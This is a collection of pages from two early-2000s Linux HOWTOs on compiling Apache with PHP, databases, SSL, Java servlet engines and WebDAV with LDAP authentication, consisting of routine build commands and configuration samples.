This is really cool stuff! Unfortunately it does not work over proxy-connection. You can keep your Netscape 4.x bookmarks etc. synchronized on different machines. It is not supported by any other browsers, including Mozilla and Netscape 6.x

4.5.2. Download the source

Origin-Site: http://www.klomp.org/mod_roaming/

4.5.3. Building and installing

cd /usr/local

tar -xvzf mod_roaming-1.0.2.tar.gz

cd mod_roaming-1.0.2

/usr/local/apache/bin/apxs -i -a -c mod_roaming.c

Notice: Check httpd.conf if mod_roaming is loaded at startup:

LoadModule roaming_module libexec/mod_roaming.so

Should be installed automatically

4.5.4. Sample configuration

4.5.4.1. /usr/local/apache/conf/httpd.conf

RoamingAlias /roaming /usr/local/apache/roaming
<Directory /usr/local/apache/roaming>
  AuthUserFile /usr/local/apache/conf/roaming-htpasswd
  AuthType Basic
  AuthName "Roaming Access"
  <Limit GET PUT MOVE DELETE>
    require valid-user
  </Limit>
</Directory>
Prev | Home | Next
Getting, build and install Apache with its basic modules |  | Compressed delivery


Further Information

Apache Compile HOWTO (Linux edition)
Prev Next

9. Further Information

Here are some other resources available on the internet

9.1. News groups

Some of the most interesting news groups are:

  • alt.apache.configuration

  • comp.infosystems.www.servers.unix

  • alt.comp.lang.php

  • alt.php

  • comp.databases

Also check out your country newsgroups e.g ch.comp.os.linux

Most newsgroups have their own FAQ that are designed to answer most of your questions, as the name Frequently Asked Questions indicate. Fresh versions should be posted regularly to the relevant newsgroups. If you cannot find it in your news spool you could go directly to the FAQ main archive FTP site. The WWW versions can be browsed at the FAQ main archive WWW site.

9.2. Mailing Lists

9.2.1. <users@httpd.apache.org>

Send an empty email to <users-subscribe@httpd.apache.org>

Before writing to the list, check out the archive: http://marc.theaimsgroup.com/?l=apache-httpd-users

9.2.2. <modperl@apache.org>

Send an mail to <modperl@apache.org> with the content (not subject):
   subscribe modperl

Before writing to the list, check out the archive: http://outside.organic.com/mail-archives/modperl/

9.2.3. <openssl-users@openssl.org>

Send an mail to <majordomo@openssl.org> with the content (not subject):
   subscribe openssl-users

Before writing to the list, check out the archive: http://www.mail-archive.com/openssl-users@openssl.org/

9.2.4. <modssl-users@modssl.org>

Send an mail to <majordomo@modssl.org> with the content (not subject):
   subscribe modssl-users

Before writing to the list, check out the archive: http://www.mail-archive.com/modssl-users@modssl.org/

9.2.5. <mysql@lists.mysql.com>

Send an empty mail to <mysql-subscribe@lists.mysql.com>

Before writing to the list, check out the archive: http://lists.mysql.com/cgi-ez/ezmlm-cgi/

9.2.6. <pgsql-general@postgres.org>

Fill out the subscription form at http://developer.postgresql.org/mailsub.php

Before writing to the list, check out the archive: http://archives.postgresql.org/pgsql-general/

9.2.7. <pgsql-general@postgres.org>

Fill out the subscription form at http://www.php.net/mailing-lists.php

There are several php related mailinglist to subscribe, some of them are also available on php.net's newsserver

Before writing to the list, check out the archive that are linked also on the subscription-page

9.2.8. <apc-cache@lists.communityconnect.com>

Send an mail to <apc-cache-request@lists.communityconnect.com> with the content (not subject):
   subscribe

9.3. HOWTO

These are intended as the primary starting points to get the background information. They also show you how to solve a specific problem. Some relevant HOWTOs are

Apache-Overview-HOWTO , Apache-WebDAV-LDAP-HOWTO , LDAP-HOWTO , LDAP-Implementation-HOWTO and the PHP-HOWTO

The main site for these is the LDP archive

9.4. Local Resources

Usually distributions install some documentation on your system. Usually they are located in /usr/share/doc/packages or /usr/local/share/doc

The software products mentioned here provide a lot of documentation in their source-directories. Apache does install its documentation in the default DocumentRoot /usr/local/apache/htdocs/manual

9.5. Web Sites

There are a large number of informative web sites available. By their very nature they change quickly, so do not be surprised if these links become outdated very fast.

A good starting point is of course the Linux Documentation Project home page, a central information repository for documentation, project pages and much more.

To get more information about the Software mentioned in this document, then the following sites are good starting points.

  • http://httpd.apache.org

  • http://www.openssl.org

  • http://www.modssl.org

  • http://perl.apache.org/

  • http://www.webdav.org

  • http://www.mysql.com

  • http://www.postgresql.org

  • http://www.pdflib.com

  • http://www.php.net

  • http://www.phpbuilder.com

Please let me know if you have any other leads that can be of interest.

Prev | Home | Next
Server Side Java |  | Questions and Answers


mod_php and its prerequisites

Apache Compile HOWTO (Linux edition)
Prev Next

6. mod_php and its prerequisites

6.1. What is mod_php

Quoting www.php.net

PHP is a server-side, cross-platform, HTML embedded scripting language.

In the beginning it was just a simple guestbook-processor, and it was growing and growing Since Version 3 it is really powerful Webdevelopment-language

From the authors point of view:

Since Version 4 PHP capable and robust enough for enterprise webapplications. It is powerful, supports almost all important Databases natively, and other through ODBC. It a few times faster than ASP on M$-Systems on the same Hardware.

There are other extensions available like apc which speed up processing about 50-400% (depends on the php-code you wrote)

6.2. Prerequisites

Depending on your needs there are some software to install first. One already installed Software according this document is MySQL, because its needed by mod_auth_mysql.

6.2.1. IMAP client

6.2.1.1. What is IMAP client

IMAP means "Internet Mail Application Protocol" and is a substitute for the POP protocol. It allows to keep all Mails in different folders on the server, which (should) be backed up - Never again lose important email, because your local harddrive crashed

6.2.2. Download the source

Origin-Site:

Origin-Site: http://www.washington.edu/imap/

6.2.3. Building and installing

cd /usr/local

tar -xvfz imap.tar.Z

cd imap

make slx SSLTYPE=unix

Notice:

imap.tar.Z is usually a symlink to the latest release, today its linked to imap-2001a.tar.Z

If you don't need SSL-Support, remove the "SSLTYPE=unix" behind the make command

6.2.4. PostgreSQL

6.2.4.1. What is PostgreSQL

PostgreSQL is a very Powerful and fast Database

Like MySQL wonderful for Webapplications. From my Point of view, not as comfortable to handle as MySQL. If your Webapplication performs mostly writes, or you need proofed transaction-capabilities, PostgreSQL is your friend

6.2.4.2. Download the source

Origin-Site: http://www.postgresql.org (Select a mirror close to you)

6.2.4.3. Building and installing

cd /usr/local

tar -xvzf postgresql-7.2.1.tar.gz

cd postgresql-7.2.1

./configure \
--with-perl \
--enable-odbc \
--with-unixodbc  \
--with-pam \
--with-openssl \

make
make install

echo /usr/local/pgsql/lib >> /etc/ld.so.conf

ldconfig

6.2.5. pdflib

6.2.5.1. What is pdflib

Quoting www.pdflib.com

PDFlib: A library for generating PDF on the fly PDFlib is the premier software component if you want to generate PDF on your server, convert text and graphics, or implement PDF output in your own products.

From the authors point of view:

This is a commercial Product. Read the license carefully to see if you need a commercial license or not

6.2.5.2. Download the source

Origin-Site: http://www.pdflib.com/pdflib/download/pdflib-4.0.2.tar.gz

6.2.5.3. Building and installing

cd /usr/local/
tar -xvzf pdflib-4.0.2.tar.gz

cd pdflib-4.0.2

./configure --enable-shared-pdflib --enable-cxx

make
make install

ldconfig

6.2.6. gettext

6.2.6.1. What is gettext

gettext is a library for i18n (Internationalization, "I", 18 chars and "n") of software, and needed by php

6.2.6.2. Download the source

Origin-Site: ftp://ftp.gnu.org/gnu/gettext (select a mirror close to you)

6.2.6.3. Building and installing

cd /usr/local

tar -xvzf gettext-0.11.1.tar.gz

cd gettext-0.11.1

./configure

make
make check
make install

ldconfig

6.2.7. zlib

6.2.7.1. What is zlib

zlib is a lossless data-compression library for use on virtually any computer hardware and operating system

6.2.7.2. Download the source

Origin-Site: ftp://ftp.info-zip.org/pub/infozip/zlib/zlib-1.1.4.tar.gz (select a mirror close to you)

6.2.7.3. Building and installing

cd /usr/local

tar -xvzf zlib-1.1.4.tar.gz

cd zlib-1.1.4/

./configure

make
make test
make install

ldconfig

6.3. Building and installing PHP4

cd /usr/local

tar -xvzf php-4.1.2.tar.gz

cd php-4.1.2

./configure \
--with-apxs=/usr/local/apache/bin/apxs \
--with-mysql=/usr/local/mysql \
--with-pgsql=/usr/local/pgsql \
--enable-track-vars \
--with-openssl=/usr/local/ssl \
--with-imap=/usr/local/imap-2001a \
--with-gd --with-ldap \
--enable-ftp \
--enable-sysvsem \
--enable-sysvshm \
--enable-sockets \
--with-pdflib=/usr/local \
--with-gettext \
--with-mm=/usr/local/mm-1.1.3 \
--with-jpeg-dir=/usr/lib \
--with-zlib-dir=/usr/local \

make
make install

After installing your httpd.conf is modified by axps. It should now look as follows:

<IfDefine SSL>
LoadModule ssl_module         libexec/libssl.so
LoadModule php4_module        libexec/libphp4.so
</IfDefine>

If you compiled Apache with mod_ssl then the php-module will only be loaded when staring Apache with ssl (apachectl startssl). If you will start Apache without ssl support (but compiled like described in this document) you need to change this:

<IfDefine SSL>
LoadModule ssl_module         libexec/libssl.so
</IfDefine>
LoadModule php4_module        libexec/libphp4.so

Copy the sample php.ini to /usr/local/lib/php.ini

cp /usr/local/php-4.1.2/php.ini-dist /usr/local/lib/php.ini

uncomment (remove the # at begin of line) the following lines in /usr/local/apache/conf/httpd.conf

Apache 1.3.24 default httpd.conf does lack of this entries. You have to add them instead of uncommenting

AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

you may wish to add the following:

AddType application/x-httpd-php .phtml
AddType application/x-httpd-php .php3

Restart apache by issuing the following command:

/usr/local/apache/bin/apachectl restart
Prev | Home | Next
Compressed delivery |  | PHP extensions


PHP extensions

Apache Compile HOWTO (Linux edition)
Prev Next

7. PHP extensions

There are many different extensions available for php, which can be added in your php.ini

7.1. APC (Alternative PHP-cache)

7.1.1. What is APC

Quoting www.apc.communityconnect.com/

APC is the Alternative PHP Cache. It was conceived of to provide a free, open, and robust framework for compiling and caching php scripts. APC was conceived of to provide a way of boosting the performance of PHP on heavily loaded sites by providing a way for scripts to be cached in a compiled state, so that the overhead of parsing and compiling can be almost completely eliminated. There are commercial products which provide this functionality, but they are neither open-source nor free. Our goal was to level the playing field by providing an implementation that allows greater flexibility and is universally accessible. We also wanted the cache to provide visibility into it's own workings and those of PHP, so time was invested in providing internal diagnostic tools which allow for cache diagnostics and maintenance. Thus arrived APC. Since we were committed to developing a product which can easily grow with new version of PHP, we implemented it as a zend extension, allowing it to either be compiled into PHP or added post facto as a drop in module. As with PHP, it is available completely free for commercial and non-commercial use, under the same terms as PHP itself. APC has been tested under PHP 4.0.3, 4.0.3pl1 and 4.0.4. It currently compiles under Linux and FreeBSD. Patches for ports to other OSs/ PHP versions are welcome.

From the authors point of view:

The author made some performance-Tests with apc and it was real surprise. A PHP-Webpage with mysql-queries in a loop (total 10 queries) was more than 50% faster

Contra APC: If you have other users on the system coding php they maybe are not comfortable with APC, because the changes are all ignored unless you reset the cache or restart Apache. The other way, namely that APC checks the php-script for a newer version before every run costs speed.

7.1.2. Download the source

Origin-Site: http://apc.communityconnect.com/sources/apc-cvs.tar.gz

7.1.3. Building and installing

cd /usr/local

tar -xvzf apc-cvs.tar.gz

cd apc

./configure --enable-apc --with-php-config=/usr/local/bin/php-config

make
make install

cp modules/php_apc.so /usr/local/lib/php/extensions

echo 'zend_extension="/usr/local/lib/php/extensions/php_apc.so"' \
>> /usr/local/lib/php.ini
echo “apc.mode = shm” >> \
apc.mode = shm

Restart your Apache-Webserver. Try it out, create a php-file with the following content:

<?php
apcinfo();
?>

7.2. Zend-Optimizer (Do _NOT_ combine with APC-Cache!)

7.2.1. What is Zend-optimizer

Quoting www.zend.com

The Zend Optimizer goes over the intermediate code generated by the standard Zend run-time compiler located in the Zend Engine, and then optimizes it for faster execution.

From the authors point of view:

Zend-Optimizer is a freeware closed source product. On the same testcode used for the APC-test, there was speed-decrease of about 5% compared to PHP without APC

You have to make your own test, to see, if you have some improvements with your own code. Be sure not to NOT use Zend Optimizer together with APC, or your whole setup will not work

7.2.2. Download the binary

Origin-Site: https://www.zend.com/store/free_download.php?pid=13

You have to register yourself at zend.com to get access to the download-page

7.2.3. Installing

There is noting to build, this product is closed-source and so only available as binary for different platforms. The filename varies according your platform, the sample is for Linux on IA32.

cd /usr/local

tar -xvzf ZendOptimizer-1.2.0-PHP_4.1.0-Linux_glibc21-i386.tar.gz

cd ZendOptimizer-1.2.0-PHP_4.1.0-Linux_glibc21-i386.tar.gz

cp ZendOptimizer.so /usr/local/lib/php/extensions

echo 'zend_optimizer.optimization_level=15' \
>> /usr/local/lib/php.ini
echo'zend_extension="/usr/local/lib/php/extensions/ZendOptimizer.so"' \
>> /usr/local/lib/php.ini
Prev | Home | Next
mod_php and its prerequisites |  | Server Side Java


Prerequisites

Apache Compile HOWTO (Linux edition)
Prev Next

2. Prerequisites

2.1. General

  • flex 2.54

  • bison 1.28

  • autoconf 2.52

  • automake 1.4

  • libtool 1.4

  • yacc-91.7.30

  • freetype2-devel

  • re2c (Only if PHP to be built from CVS tree)

To be continued

All major distributions will include this general prerequisites

2.2. Distribution specific

2.2.1. SuSE Linux

2.2.1.1. SuSE Linux 7.1 (maybe applicable to other distributions)

SuSE 7.1 and maybe other distributions have problems to build apache 1.3.19 (1.3.20 and later are okay) with mod_rewrite

To correct this misbehavior create a symlink:

cd /usr/include/db1
ln -s ../ndbm.h ndbm.h

In SuSE 7.2 and later this issue is fixed

2.3. OpenSSL

2.3.1. What is OpenSSL

Quoting www.openssl.org

The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, full-featured, and Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols as well as a full-strength general purpose cryptography library. The project is managed by a worldwide community of volunteers that use the Internet to communicate, plan, and develop the OpenSSL toolkit and its related documentation.

OpenSSL is based on the excellent SSLeay library developed by Eric A. Young and Tim J. Hudson. The OpenSSL toolkit is licensed under an Apache-style license, which basically means that you are free to get and use it for commercial and non-commercial purposes subject to some simple license conditions.

From authors points of view, its the basic to build a secure Unix-Server with Opensource Software, its needed for all major products like mod_ssl, OpenSSH and lot of other stuff that provides encrypted Data-processing

OpenSSL provides the libraries and include-files needed be the products mentioned above and also provides a Application to build Server and client-Certificates.

2.3.2. Download the source

Origin-Site http://www.openssl.org

2.3.3. Building and installing

cd /usr/local
tar -xvzf openssl-0.9.6c.tar.gz

cd openssl-0.9.6c

./config shared

make
make test
make install

echo "/usr/local/ssl/lib" >> /etc/ld.so.conf
ldconfig

2.4. MySQL

2.4.1. What is MySQL

Mysql is a very fast, powerful and very nice to handle Database.

Especially for Webapplication where most access is read and few write, MySQL is the first choice. The newest Version is also transaction-capable. If you plan a Webapplication, that writes a lot of Data into the DB, maybe PostgreSQL is better suited for your project

You need the C-API from Mysql for compiling php if you wish MySQL-Support in php. It is also needed if you want to use mod_authmysql, See Section 4.3 for more information

2.4.2. Download

Origin-Site: http://www.mysql.com/downloads/

2.4.3. Building and installing

cd /usr/local
tar -xvzf mysql-3.23.49a.tar.gz
cd mysql-3.23.49a

./configure \
--prefix=/usr/local/mysql \
--enable-assembler \
--with-innodb

make
make install

/usr/local/mysql/bin/mysql_install_db
echo /usr/local/mysql/lib/mysql >> /etc/ld.so.conf
ldconfig

For security-improvement add a mysql-user on your system i.e. "mysql", then

chown -R mysql /usr/local/mysql/var

and change the line user=root to user=mysql in the file /usr/local/mysql/bin/safe_mysqld

you may wish to start mysql automatically at boottime, copy /usr/local/mysql/share/mysql/mysql.server to /etc/init.d/ (or wherever your rc-script are located) and create the corresponding symbolic link in the runlevel directories.

cp /usr/local/mysql/share/mysql/mysql.server /etc/init.d/

ln -s /etc/init.d/mysql.server /etc/init.d/rc3.d/S20mysql
ln -s /etc/init.d/mysql.server /etc/init.d/rc3.d/K20mysql

2.5. Building mm

2.5.1. What is mm

Quoting www.engelschall.com

The MM library is a 2-layer abstraction library which simplifies the usage of shared memory between forked (and this way strongly related) processes under Unix platforms. On the first layer it hides all platform dependent implementation details (allocation and locking) when dealing with shared memory segments and on the second layer it provides a high-level malloc(3)-style API for a convenient and well known way to work with data-structures inside those shared memory segments.

From the authors point of view:

It is a common lib that enables Unix-Programmers to simplify shm accesses. It is used by many products, i.e. PHP and mod_ssl

Since the author is not a programmer, he is unable to explain the exact usage of that lib

2.5.2. Download

Origin Site: http://www.engelschall.com/sw/mm/mm-1.1.3.tar.gz

2.5.3. Building and installing

cd /usr/local

tar -xvzf mm-1.1.3.tar.gz

cd mm-1.1.3

./configure
make
make test
make install

ldconfig

Prev | Home | Next
Introduction |  | Getting, build and install Apache with its basic modules


Server Side Java

Apache Compile HOWTO (Linux edition)
Prev Next

8. Server Side Java

8.1. mod_jserv

8.1.1. What is mod_jserv

Quoting java.apache.org

Apache JServ is a 100% pure Java servlet engine fully compliant with the JavaSoft Java Servlet APIs 2.0 specification. Since we believe in the great value complete portability between different servlet platforms, together with portability of Java binary code, we worked very close with JavaSoft and other JVM implementers to provide correct interpretations or Java specifications both for servlets and for the Java language itself.

From the authors point of view:

mod_jserv is very comfortable to maintain

Unfortunately mod_jserv is no longer actively developed, only bugfixes if bugs where found. Tomcat is the successor of mod_jserv As soon as the author gets enough time and experience with Tomcat he will extend this HOWTO.

JSDK2.0 is out of Date too. It is needed for mod_jserv only.

8.1.2. Prerequisites

8.1.2.1. JSDK 2.0 (mod_jserv req.)

8.1.2.1.1. What is JSDK

It is the API from Sun Microsystems for developing Servlets

8.1.2.1.2. Download

Origin-Site: http://java.sun.com/products/servlet/archive.html

8.1.2.1.3. Building and installing

Since JSDK is closed source there is nothing to build.

Notice: The filename “jsdk20-solaris2-sparc.tar.Z” suggests to be a binary for sparc platform -> ignore it, it will work on all platforms

cd /usr/local/

uncompress jsdk20-solaris2-sparc.tar.Z
tar -xvf jsdk20-solaris2-sparc.tar

8.1.3. Download the source

Origin-Site: http://java.apache.org/jserv/dist/

8.1.4. Building and installing

cd /usr/local

tar -xvzf ApacheJServ-1.1.2.tar.gz
cd ApacheJServ-1.1.2

./configure \
--prefix=/usr/local/jserv \
--with-apxs=/usr/local/apache/bin/apxs \
--with-JSDK=/usr/local/JSDK2.0 \
--enable-EAPI \

make
make install

It is important to use flag --enable-EAPI if apache is compiled with mod_ssl!

8.2. jakarta-tomcat

8.2.1. What is Tomcat

Quoting jakarta.apache.org

Tomcat is the servlet container that is used in the official Reference Implementation for the Java Servlet and JavaServer Pages technologies. The Java Servlet and JavaServer Pages specifications are developed by Sun under the Java Community Process.

From the authors point of view:

Tomcat is the successor of jserv which is no longer developed. Tomcat supports the latest jsp and servlet-APIs defined by sun. Unfortunately Tomcat is very difficult to build from source, because it is using its own building-system called "ant". There is also a very long list of prerequisites if you want to build from source. See http://jakarta.apache.org/tomcat/tomcat-4.0-doc/BUILDING.txt for more details - Good luck, and give some feedback to the author.

In the meantime the HOWTO is providing some basic support for Tomcat installed from binaries.

The Author is searching for some volunteers who tries to build Tomcat from source and tells what steps are required

8.2.2. Prerequisites

8.2.2.1. Java2

8.2.2.1.1. What is Java2>

Quoting java.sun.com

Too much for this HOWTO, please see http://java.sun.com/j2se/1.3/docs/relnotes/features.html

8.2.2.2. Download the binaries

Go to http://java.sun.com/j2se/1.3/ ,choose your platform and follow the steps on the site.

8.2.2.3. Installing the binaries

Execute the binary:

chmod +x j2sdk-1_3_1_02-linux-i386.bin

./2sdk-1_3_1_02-linux-i386.bin

Notice: There is a newer version of java available, if you do not care about possible instability you can downloads version 1.4.0

After accepting the license, unpack the stuff and move the resulting directory to "/usr/lib"

8.2.3. Download the binaries

Origin-Site: http://jakarta.apache.org/builds/jakarta-tomcat-4.0/release/v4.0.1/bin/jakarta-tomcat-4.0.1.tar.gz/

8.2.4. Installing the binaries

cd /usr/local

tar -xvzf jakarta-tomcat-4.0.3.tar.gz

cd jakarta-tomcat-4.0.3

cd bin

rm *.bat

echo export JAVA_HOME=/usr/lib/java/ >> /etc/profile
. /etc/profile

Now you should be able to startup tomcat:

/usr/local/apache/jakarta-tomcat-4.0.3/bin/startup.sh

You should now be able to connect to: http://localhost:8080/index.html

For the further steps like installing your servlets and jsp-files, you are responsible by yourself...

Notice: Since the author is NOT a Java-Programmer he will not be able to help you with Java-Problems! The author is an experienced Sysadmin and could you give some hints: Be sure your CLASSPATH Variable is set right. This is the most common error done. Have fun, and as mentioned above, the author welcomes some feedback to be able to provide more information to the community.

Prev | Home | Next
PHP extensions |  | Further Information


Configuring and Setting up the WebDAV services

Apache based WebDAV with LDAP and SSL HOWTO
Prev Next

3. Configuring and Setting up the WebDAV services

Now for the easy part. In this section we will WebDAV enable a directory under Apache root.

3.1. Modifications to the /usr/local/apache/conf/httpd.conf

Please verify that the following Apache directive appears in the /usr/local/apache/conf/httpd.conf :

  Addmodule mod_dav.c

If it does not please add it. This directive informs Apache about DAV capability. The directive must be placed outside any container.

Next we must specify where Apache should store the DAVLockDB file. DAVLockDB is a lock database for the WebDAV. This directory should be writable by the httpd process.

I store the DAVLock file under /usr/local/apache/var. I use this directory for other purposes as well. Please add the following line to your /usr/local/apache/conf/httpd.conf to specify that the DAVLockDB file will be under /usr/local/apache/var :

  DAVLockDB      /usr/local/apache/var/DAVLock

The directive must be placed outside any container.

3.2. Creating a directory for DAVLockDB

As mentioned above a directory must be created for DAVLockDB that can be written by the web server process. Usually web server process runs under the user 'nobody' . Please verify this for your system using the command:
ps -ef | grep httpd
Under /usr/local/apache create the directory and set the permissions on it using the following commands:

  # cd /usr/local/apache
  # mkdir var
  # chmod -R 755 var/
  # chown -R nobody var/
  # chgrp -R nobody var/

3.3. Enabling DAV

Enabling DAV is a trivial task. To enable DAV for a directory under Apache root, just add the following directive in the container for that particular directory:

  DAV On

This directive will enable DAV for the directory and its sub-directories.

The following is a sample configuration that will enable WebDAV and LDAP authentication on /usr/local/apache/htdocs/DAVtest. Place this in the /usr/local/apache/conf/httpd.conf file.

  <Directory /usr/local/apache/htdocs/DAVtest>
  Dav On
  #Options Indexes FollowSymLinks

  AllowOverride None
  order allow,deny
  allow from all
  AuthName "username_and_passwd_required"
  AuthType Basic
  <Limit PUT POST DELETE PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK>
  Require valid-user
  </Limit>
  LDAP_Server your.ldap.server.com
  LDAP_Port 007
  Base_DN "o=ROOT"

  UID_Attr uid
  </Directory>

3.4. Create a Directory called DAVtest

As mentioned in a earlier section, all DAV directories have to be writable by the WebServer process. In this example we assume WebServer is running under username 'nobody'. This is usually the case. To check httpd is running under what user, please use:
# ps -ef | grep httpd

Create a test directory called 'DAVtest' under /usr/local/apache/htdocs :

# mkdir /usr/local/apache/htdocs/DAVtest

Change the permissions on the directory to make it is read-writable by the httpd process. Assuming the httpd is running under username 'nobody', use the following commands:

  # cd /usr/local/apache/htdocs
  # chmod -R 755 DAVtest/
  # chown -R nobody DAVtest/
  # chgrp -R nobody DAVtest/

3.5. Restart Apache

Finally you must run the configuration test routine that comes with Apache to verify the syntax in httpd.conf :

# /usr/local/apache/bin/apachectl configtest

If you get error messages please verify that you followed all of the above mentioned steps correctly. If you can not figure out the error message feel free to email me with the error message (saqib@seagate.com).

If the configtest is successful start the apache web-server:

# /usr/local/apache/bin/apachectl restart

Now you have WebDAV enabled Apache Server with LDAP authentication.

If you have any questions, suggestions, recommendations, kudos, comments, or complaints, please email them to me (saqib@seagate.com).

Note: Please free to contact me if you encounter any problems installing Apache or any of the modules, or if you would like upgrade your existing Apache server to support WebDAV.

WebDAV Support and Discussion Forum

Prev | Home | Next
Installing WebDAV services |  | Implementing and using SSL to secure WebDAV traffic


Apache based WebDAV with LDAP and SSL HOWTO

Saqib Ali

saqib@seagate.com

Revision History
Revision v3.1 | 2002-04-11 | Revised by: sa
Updated the introduction section
Revision v3.0 | 2002-04-09 | Revised by: sa
Added "Implementing and using SSL to secure WebDAV traffic" section
Revision v2.1 | 2002-03-24 | Revised by: sa
Refined the WebDAV Introduction and SSL section.
Revision v2.0 | 2002-03-20 | Revised by: sa
Added the SSL section
Revision v1.1 | 2001-11-29 | Revised by: sa
Initial public release.
Revision v1.0 | 2001-11-01 | Revised by: sa
Initial public release.

.This document is an HOWTO on installing a Apache based WebDAV server with LDAP for authentication and SSL encryption.

Table of Contents
1. Introduction
1.1. Copyright and License
1.2. What is WebDAV?
1.3. What is mod_dav?
1.4. Why use WebDAV?
1.5. How does WebDAV work?
1.6. What do we need?
1.7. Assumptions
1.8. Opinions and Suggestions
2. Installing WebDAV services
2.1. Pre-Requirements
2.2. Pre-configuring Apache
2.3. Configuring and Installing mod_dav
2.4. Installing and configuring mod_auth_ldap
2.5. Installing and configuring mod_ssl
2.6. Configuring and Installing Apache
3. Configuring and Setting up the WebDAV services
3.1. Modifications to the /usr/local/apache/conf/httpd.conf
3.2. Creating a directory for DAVLockDB
3.3. Enabling DAV
3.4. Create a Directory called DAVtest
3.5. Restart Apache
4. Implementing and using SSL to secure WebDAV traffic
4.1. Introduction to SSL
4.2. Homegrown Certificates
4.3. Then why do I need a CA?
4.4. How to create CSR
4.5. Removing passphrase from the RSA Private Key
4.6. Trusted Certificate Authorities
Next
Introduction


Installing WebDAV services

Apache based WebDAV with LDAP and SSL HOWTO
Prev Next

2. Installing WebDAV services

Our game plan is to first install OpenLDAP package. OpenLDAP is not required for Apache_LDAP_DAV to work, but we will need the installed OpenLDAP lib files to compile mod_ldap. And then we will compile Apache with mod_ldap and mod_dav.

Please download the following packages.

  • Apache Web Server

  • OpenLDAP (for LDAP lib files)

  • mod_dav (Apache module for WebDAV)

  • mod_ldap (LDAP module for LDAP)

  • OpenSSL (SSL enginer for creating/managing certificates)

  • mod_SSL (SSL Module for Apache)

2.1. Pre-Requirements

To compile the WebDAV service with LDAP authencation capability, we will need to have the LDAP library files installed on the machine. The LDAP library files will be used to compile the LDAP module for Apache. Best way to get the LDAP library files is to download the OpenLDAP sourcecode from http://www.openldap.org and compile it to produce the required library files. You may use any other LDAP like IPlanet as well, but I recommend an OpenSource solution.

2.1.1. OpenLDAP lib files installation

Become root by using the su command:

$ su

Now change to the directory where you placed the OpenLDAP (tar) source file, and extract the content. (I use a temp directory, /tmp/download):

# cd /tmp/download
# gzip -d openldap-stable-xxxxxxx.tar.gz
# tar -xvf openldap-stable-xxxxxxx.tar
# cd openldap-x.x.xx

Now you can run "configure" for the openldap package. "configure" has many command line options. Type "configure --help" to see all options.

For this WebServer we dont really need the LDAP deamon, assuming there is a LDAP server running elsewhere. We just need the LDAP lib files. Since we will not be compiling the LDAP deamon, we will have to specify '--disable-slapd' as a command line option to 'configure':

# ./configure --disable-slapd

After you are done with configuring, you can make the dependencies for the openldap package:

# make depend

After making the dependencies the openldap package needs to be compiled. Use the make command:

# make

If everything goes OK, you will end up with compiled version of openldap in the current directory. Then you will need to install the compiled binaries into appropriate places:

# make install

Now you should have the compiled LDAP lib files required for the mod_ldap in the correct directory structure.

2.1.2. OpenSSL Engine

OpenSSL is required to create and manage SSL certificates on the webserver. The installion is also necessary for the lib files that will be used by the SSL module for apache.

Now change to the directory where you placed the OpenSSL source code files

# cd /tmp/download
# gzip -d openssl.x.x.gz
# tar -xvf openssl.x.x
# cd openssl.x.x
# make
# make test
# make install

2.2. Pre-configuring Apache

mod_dav requires that you have Apache pre-configured so that it knows where where everything is. Change back to the directory where you have the source files:

  # cd /tmp/download
  # gzip -d apache_1.x.x.tar.gz
  # tar -xvf apache_1.x.x.tar
  # cd apache_1.x.x
  # ./configure --prefix=/usr/local/apache

2.3. Configuring and Installing mod_dav

As mentioned above mod_dav will be statically linked with the Apache installation. Start by extracting mod_dav files:

# cd /tmp/download
# gzip -d mod_dav-1.x.x.tar.gz
# tar -xvf mod_dav-1.x.x.tar

Change to the NEW directory which was created during the extract:

# cd mod_dav-1.x.x

Now configure the mod_dav package for static linking to Apache:

# ./configure --with-apache= /tmp/download/apache_1.x.x

Compile and install the files:

# make

# make install

mod_dav will have been partially compiled and placed into the Apache tree during the make install step.

2.4. Installing and configuring mod_auth_ldap

Change back to the temp download directory, and extract the mod_auth_ldap files:

# cd /tmp/download
# gzip -d mod _auth_ldap.tar.gz
# tar -xvf mod_auth_ldap.tar

Now install the modauthldap files to the Apache source tree:

# cd apache_x.x.x
# mv ../modauthldap ./src/modules/ldap

2.5. Installing and configuring mod_ssl

# cd /tmp/download
# gzip -d mod_ssl-2.x.x.tar.gz
# tar -xvf  mod_ssl-2.x.tar
# ./configure --with-apache=../apache_1.3.x.x

2.6. Configuring and Installing Apache

Finally we have reached the destination. But not yet.......
"The Journey is the Destination" (Jerry Garica of Grateful Dead)

Now we are ready to compile and install Apache with WebDAV and LDAP authentication for DAV.

Change back to the temp download directory:

# cd /tmp/download

Change to the Apache tree directory:

# cd apache-x.x.x

Now set the variable SSL_BASE to the OpenSSL lib files. On tcsh it will be as following:

# setenv SSL_BASE /tmp/download/openssl-0.9.x

This will the compiler where to find the SSL LIB files.

And now configure apache for the compilation with mod_dav, mod_auth_ldap, and mod_ssl:

  # ./configure --prefix=/usr/local/apache \
     --enable-module=ssl \
     --activate-module=src/modules/ldap/mod_auth_ldap.c \
     --activate-module=src/modules/dav/libdav.a \
     --enable-shared=ssl

     [...you can add more options here...]

--enable-shared is an optional, it tells the configure to compile SSL as dynamic module. Depending on the services that you will be providing, you may or may not need dynamic compilation.

Now compile the Apache and install it into the appropriate place:

# make

Now create the SSL certification on the web server

# make certificate TYPE=custom

Follow through the instructions, and you will have a certificate in no time. Remember CommonName is your FQDN (Fully Qualified Domain Name) e.g. dav.yourcompany.com

For details on creating and managing the SSL certificates, please read the section titled "Creating and Managing SSL certificates".

Now install Apache into its own directory

# make install

Prev | Home | Next
Introduction |  | Configuring and Setting up the WebDAV services


Introduction

Apache based WebDAV with LDAP and SSL HOWTO
Prev Next

1. Introduction

The Objective of this document is to setup a Apache based WebDAV server that can authenticate against a LDAP server. You will learn how to install, configure, run, maintain and fine-tune a Apache-based WebDAV server. This document will provide the basic groundwork for setting up a WebDAV server. It will also provide information on fine tuning and maintaining the server.

Note: If you encounter any problems installing Apache or any of the modules please feel free to contact me.

WebDAV Support and Discussion Forum

This document is not a HOWTO on setting up LDAP server. For setting up a LDAP server please visit http://www.linuxdoc.org/HOWTO/LDAP-HOWTO-1.html

1.1. Copyright and License

